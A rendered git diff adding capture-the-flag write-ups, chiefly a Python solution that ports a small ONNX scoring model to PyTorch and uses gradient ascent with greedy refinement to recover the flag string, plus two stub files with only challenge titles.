||||||
|
|
||||||
|
# Write code here to apply the model on the input
|
||||||
|
# out = ???
|
||||||
|
import numpy as np
|
||||||
|
from onnx.reference import ReferenceEvaluator
|
||||||
|
|
||||||
|
# int64 token ids, shape (batch_size, 48); input name must be "input_ids"
|
||||||
|
inp = np.zeros((1, 48), dtype=np.int64)
|
||||||
|
|
||||||
|
sess = ReferenceEvaluator(onnx_model)
|
||||||
|
out = sess.run(None, {"input_ids": inp})
|
||||||
|
score = out[0]
|
||||||
|
print(score)
|
||||||
|
```
|
||||||
|
|
||||||
|
Then I tried a gradient ascent approach to find the input the leads to the maximum score. The input was the flag.
|
||||||
|
|
||||||
|
```python=
|
||||||
|
import numpy as np
|
||||||
|
import torch
|
||||||
|
import torch.nn as nn
|
||||||
|
import torch.nn.functional as F
|
||||||
|
from onnx import numpy_helper
|
||||||
|
from onnx.reference import ReferenceEvaluator
|
||||||
|
|
||||||
|
# Target format: gigem{just_<middle>_max_and_u'll_be_fine}
|
||||||
|
PREFIX = "gigem{"
|
||||||
|
SUFFIX = "}"
|
||||||
|
ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_"
|
||||||
|
|
||||||
|
# Only the middle is unknown. Restricting it to a plausible alphabet avoids
|
||||||
|
# the optimizer getting stuck in high-scoring non-ASCII byte values.
|
||||||
|
n_inner = 48 - len(PREFIX) - len(SUFFIX)
|
||||||
|
n_pad = 48 - (len(PREFIX) + n_inner + len(SUFFIX))
|
||||||
|
assert n_pad >= 0 and n_inner > 0
|
||||||
|
|
||||||
|
weights = {init.name: numpy_helper.to_array(init).copy() for init in onnx_model.graph.initializer}
|
||||||
|
|
||||||
|
|
||||||
|
class GigemTorch(nn.Module):
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.register_buffer("embed_mat", torch.from_numpy(weights["embed.weight"]))
|
||||||
|
self.conv = nn.Conv1d(64, 128, kernel_size=3, padding=2, dilation=2)
|
||||||
|
self.fc1 = nn.Linear(6144, 64)
|
||||||
|
self.fc2 = nn.Linear(64, 1)
|
||||||
|
self.conv.weight.data.copy_(torch.from_numpy(weights["conv.weight"]))
|
||||||
|
self.conv.bias.data.copy_(torch.from_numpy(weights["conv.bias"]))
|
||||||
|
self.fc1.weight.data.copy_(torch.from_numpy(weights["fc1.weight"]))
|
||||||
|
self.fc1.bias.data.copy_(torch.from_numpy(weights["fc1.bias"]))
|
||||||
|
self.fc2.weight.data.copy_(torch.from_numpy(weights["fc2.weight"]))
|
||||||
|
self.fc2.bias.data.copy_(torch.from_numpy(weights["fc2.bias"]))
|
||||||
|
|
||||||
|
def forward_soft(self, probs):
|
||||||
|
x = torch.einsum("blv,vh->blh", probs, self.embed_mat)
|
||||||
|
x = x.permute(0, 2, 1)
|
||||||
|
x = self.conv(x)
|
||||||
|
x = F.gelu(x)
|
||||||
|
x = x.flatten(1)
|
||||||
|
x = self.fc1(x)
|
||||||
|
x = F.gelu(x)
|
||||||
|
x = self.fc2(x)
|
||||||
|
return x.squeeze(-1)
|
||||||
|
|
||||||
|
|
||||||
|
def chars_to_onehot_row(device, c):
|
||||||
|
v = ord(c) & 0xFF
|
||||||
|
return F.one_hot(torch.tensor([v], device=device, dtype=torch.long), 256).float()
|
||||||
|
|
||||||
|
|
||||||
|
def build_probs_from_middle_allowed(middle_allowed_probs, allowed_ids, device):
|
||||||
|
batch_size = middle_allowed_probs.shape[0]
|
||||||
|
middle = torch.zeros(batch_size, n_inner, 256, device=device)
|
||||||
|
middle.scatter_(2, allowed_ids.view(1, 1, -1).expand(batch_size, n_inner, -1), middle_allowed_probs)
|
||||||
|
|
||||||
|
blocks = []
|
||||||
|
if n_pad > 0:
|
||||||
|
pad = torch.zeros(batch_size, n_pad, 256, device=device)
|
||||||
|
pad[:, :, 0] = 1.0
|
||||||
|
blocks.append(pad)
|
||||||
|
for c in PREFIX:
|
||||||
|
blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
|
||||||
|
blocks.append(middle)
|
||||||
|
for c in SUFFIX:
|
||||||
|
blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
|
||||||
|
return torch.cat(blocks, dim=1)
|
||||||
|
|
||||||
|
|
||||||
|
def ids_from_middle_indices(middle_indices, allowed_ids):
|
||||||
|
middle_ids = allowed_ids[middle_indices].detach().cpu().numpy()[0]
|
||||||
|
token_ids = [0] * n_pad
|
||||||
|
token_ids.extend(ord(c) & 0xFF for c in PREFIX)
|
||||||
|
token_ids.extend(int(x) for x in middle_ids)
|
||||||
|
token_ids.extend(ord(c) & 0xFF for c in SUFFIX)
|
||||||
|
return np.array(token_ids, dtype=np.int64)
|
||||||
|
|
||||||
|
|
||||||
|
def score_ids(model, token_ids, device):
|
||||||
|
token_tensor = torch.tensor(token_ids, dtype=torch.long, device=device).unsqueeze(0)
|
||||||
|
one_hot = F.one_hot(token_tensor, 256).float()
|
||||||
|
return float(model.forward_soft(one_hot).item())
|
||||||
|
|
||||||
|
|
||||||
|
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
|
||||||
|
model = GigemTorch().to(device)
|
||||||
|
allowed_ids = torch.tensor([ord(c) for c in ALPHABET], dtype=torch.long, device=device)
|
||||||
|
|
||||||
|
restarts = 6
|
||||||
|
steps = 1000
|
||||||
|
best_score = float("-inf")
|
||||||
|
best_ids = None
|
||||||
|
|
||||||
|
for restart in range(restarts):
|
||||||
|
logits_inner = torch.randn(1, n_inner, len(ALPHABET), device=device) * 0.01
|
||||||
|
logits_inner.requires_grad_(True)
|
||||||
|
opt = torch.optim.Adam([logits_inner], lr=0.2)
|
||||||
|
|
||||||
|
for step in range(steps):
|
||||||
|
tau = max(0.25, 2.5 * (0.992 ** step))
|
||||||
|
probs_inner = F.softmax(logits_inner / tau, dim=-1)
|
||||||
|
probs = build_probs_from_middle_allowed(probs_inner, allowed_ids, device)
|
||||||
|
soft_score = model.forward_soft(probs)
|
||||||
|
entropy = -(probs_inner * probs_inner.clamp_min(1e-9).log()).sum(dim=-1).mean()
|
||||||
|
loss = -soft_score + 0.02 * tau * entropy
|
||||||
|
|
||||||
|
opt.zero_grad()
|
||||||
|
loss.backward()
|
||||||
|
torch.nn.utils.clip_grad_norm_([logits_inner], max_norm=5.0)
|
||||||
|
opt.step()
|
||||||
|
|
||||||
|
if step % 100 == 0 or step == steps - 1:
|
||||||
|
with torch.no_grad():
|
||||||
|
hard_idx = logits_inner.argmax(dim=-1)
|
||||||
|
token_ids = ids_from_middle_indices(hard_idx, allowed_ids)
|
||||||
|
hard_score = score_ids(model, token_ids, device)
|
||||||
|
guess_str = "".join(chr(int(t)) for t in token_ids)
|
||||||
|
if hard_score > best_score:
|
||||||
|
best_score = hard_score
|
||||||
|
best_ids = token_ids.copy()
|
||||||
|
print(
|
||||||
|
f"restart {restart} step {step:4d} tau={tau:.3f} soft={soft_score.item():.4f} discrete={hard_score:.4f} guess={guess_str!r}"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Greedy coordinate refinement over the discrete candidate.
|
||||||
|
# This fixes the usual softmax-relaxation issue where argmax is close but not exact.
|
||||||
|
charset_ids = [ord(c) for c in ALPHABET]
|
||||||
|
for refine_round in range(10):
|
||||||
|
improved = False
|
||||||
|
for pos in range(n_pad + len(PREFIX), n_pad + len(PREFIX) + n_inner):
|
||||||
|
current = best_ids[pos]
|
||||||
|
local_best = best_score
|
||||||
|
local_char = current
|
||||||
|
for cand in charset_ids:
|
||||||
|
if cand == current:
|
||||||
|
continue
|
||||||
|
trial = best_ids.copy()
|
||||||
|
trial[pos] = cand
|
||||||
|
trial_score = score_ids(model, trial, device)
|
||||||
|
if trial_score > local_best:
|
||||||
|
local_best = trial_score
|
||||||
|
local_char = cand
|
||||||
|
if local_char != current:
|
||||||
|
best_ids[pos] = local_char
|
||||||
|
best_score = local_best
|
||||||
|
improved = True
|
||||||
|
print(f"refine round {refine_round}: score={best_score:.4f} guess={''.join(chr(int(t)) for t in best_ids)!r}")
|
||||||
|
if not improved:
|
||||||
|
break
|
||||||
|
|
||||||
|
middle = "".join(
|
||||||
|
chr(int(i))
|
||||||
|
for i in best_ids[n_pad + len(PREFIX) : n_pad + len(PREFIX) + n_inner]
|
||||||
|
)
|
||||||
|
flag_only = PREFIX + middle + SUFFIX
|
||||||
|
padded_visual = "".join(chr(int(i)) for i in best_ids)
|
||||||
|
print("n_pad, n_inner:", n_pad, n_inner)
|
||||||
|
print("middle:", repr(middle))
|
||||||
|
print("flag:", repr(flag_only))
|
||||||
|
print("full 48 (repr):", repr(padded_visual))
|
||||||
|
|
||||||
|
sess = ReferenceEvaluator(onnx_model)
|
||||||
|
onnx_score = sess.run(None, {"input_ids": best_ids.reshape(1, -1).astype(np.int64)})[0]
|
||||||
|
print("ONNX score (discrete):", onnx_score)
|
||||||
|
|
||||||
|
```
|
||||||
2
skretch-rev.md
Normal file
2
skretch-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# skretch - rev
|
||||||
|
|
||||||
2
zagjail-pwn.md
Normal file
2
zagjail-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# zagjail - pwn
|
||||||
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue